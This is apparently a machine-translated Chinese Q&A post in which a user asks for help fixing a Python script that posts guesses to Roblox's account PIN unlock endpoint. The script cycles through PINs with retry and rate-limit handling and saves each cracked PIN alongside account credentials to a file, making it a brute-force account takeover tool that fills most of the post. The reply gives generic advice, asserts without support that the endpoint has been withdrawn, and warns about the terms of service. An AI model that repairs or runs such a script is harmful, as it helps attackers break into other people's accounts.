我不知道为什么几周前它可以工作,但现在却不起作用了。如果有人知道他们是否喜欢移动到另一个 api 链接或其他任何内容,请告诉我:
https://auth.roblox.com/v1/account/pin/unlock
使用它运行一个程序并工作完全没问题,直到它给我这个错误:
[ERROR] ChunkedEncodingError: (“连接中断: InvalidChunkLength(得到长度 b'', 读取 0 字节)", InvalidChunkLength(获得长度 b'',读取 0 个字节))。在 1 中重试 秒。
(编写脚本是为了在此处的最后给出该错误:)
def try_pin(pin, retries=3):
global tried
retry_count = 0
backoff = 1
while retry_count < retries:
try:
r = req.post('https://auth.roblox.com/v1/account/pin/unlock', json={'pin': pin})
if 'X-CSRF-TOKEN' in r.headers:
req.headers['X-CSRF-TOKEN'] = r.headers['X-CSRF-TOKEN']
return 'retry'
elif 'errors' in r.json():
code = r.json()['errors'][0]['code']
if code == 0 and r.json()['errors'][0]['message'] == 'Authorization has been denied for this request.':
print(f'[FAILURE] Authorization denied. Waiting for 2 minutes before retrying.')
time.sleep(60 * 2)
return 'retry'
elif code == 1:
print(f'[SUCCESS] NO PIN')
with open('pins.txt', 'a') as f:
f.write(f'NO PIN:{credentials}\n')
return 'break'
elif code == 3 or '"message":"TooManyRequests"' in r.text:
print(f'[RATE LIMITED] Waiting for 2 minutes before retrying.')
time.sleep(60 * 2)
return 'retry'
elif code == 4:
tried += 1
save_tried_pin(pin, tried_pins_file, tried_pins)
return 'break'
elif 'unlockedUntil' in r.json():
print(f'[SUCCESS] {pin}')
with open('validpin.txt', 'a') as f:
f.write(f'{pin}\n')
with open('pins.txt', 'a') as f:
f.write(f'{pin}:{credentials}\n')
save_tried_pin(pin, tried_pins_file, tried_pins)
return 'break'
else:
print(f'[ERROR] {r.text}')
return 'error'
except requests.exceptions.ChunkedEncodingError as e:
print(f'[ERROR] ChunkedEncodingError: {e}. Retrying in {backoff} seconds.')
retry_count += 1
time.sleep(backoff)
backoff *= 2 # Exponential backoff
except requests.exceptions.RequestException as e:
print(f'[ERROR] RequestException: {e}')
return 'error'
return 'error'
遇到该错误信息是因为 Roblox 的 API 端点 (
https://auth.roblox.com/v1/account/pin/unlock
) 不再起作用或不再公开可用。许多公司都会出于各种原因更改或弃用 API 端点,而不预先通知,这很常见。
遗憾的是,如果没有 Roblox 官方文档的替代端点或解决方法,就无法使用编程方式解锁 Roblox PIN。
可能的选择:
-
检查 Roblox API 文档: Roblox 可能有关于其 API 的官方文档,可以在其中找到有关此端点的更新信息或备用方法。但是,Roblox 并未公开或记录其 API,这使得在不了解标头和请求数据的情况下更难使用。
-
探索 Roblox 开发者论坛: Roblox 开发者论坛是查找有关 API 更改的信息的绝佳场所。其他开发者可能遇到过类似的问题并找到了解决方法。
-
考虑替代解决方案: 如果无法找到解锁 Roblox PIN 的编程方式,可能需要考虑替代解决方案,例如手动输入 PIN 或使用 Roblox 提供的官方方法。
请记住,尝试在未经授权的情况下访问或操纵 Roblox API 或任何其他平台的服务都可能违反其服务条款并导致帐户被封禁。
如果有任何其他问题,请告诉我!
标签:python,hyperlink,roblox From: 78765970